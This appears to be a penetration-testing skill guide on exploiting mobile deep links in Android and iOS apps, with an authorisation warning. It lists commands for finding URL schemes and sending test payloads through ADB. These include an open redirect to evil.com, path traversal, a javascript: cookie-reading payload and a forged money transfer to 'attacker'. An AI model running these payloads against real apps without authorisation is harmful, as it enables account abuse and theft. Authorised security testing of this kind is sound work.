Exploiting Deep Link Vulnerabilities

When to Use

Use this skill when:

• Assessing mobile app deep link handling for injection and redirect vulnerabilities
• Testing Android intent filters and iOS URL scheme handlers for unauthorized access
• Evaluating App Links (Android) and Universal Links (iOS) verification
• Testing for link hijacking via competing app registrations

Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.

Prerequisites

• Android device with ADB or iOS device with Objection/Frida
• APK decompiled with apktool or JADX for AndroidManifest.xml analysis
• Knowledge of target app's registered URL schemes and intent filters
• Drozer for Android intent testing
• Burp Suite for intercepting deep link-triggered API calls

Workflow

Step 1: Enumerate Deep Link Entry Points

Android - Extract from AndroidManifest.xml:

# Decompile APK
apktool d target.apk -o decompiled/

# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - Extract from Info.plist:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com

# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association

Step 2: Test Deep Link Injection

Android via ADB:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# Test path traversal
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app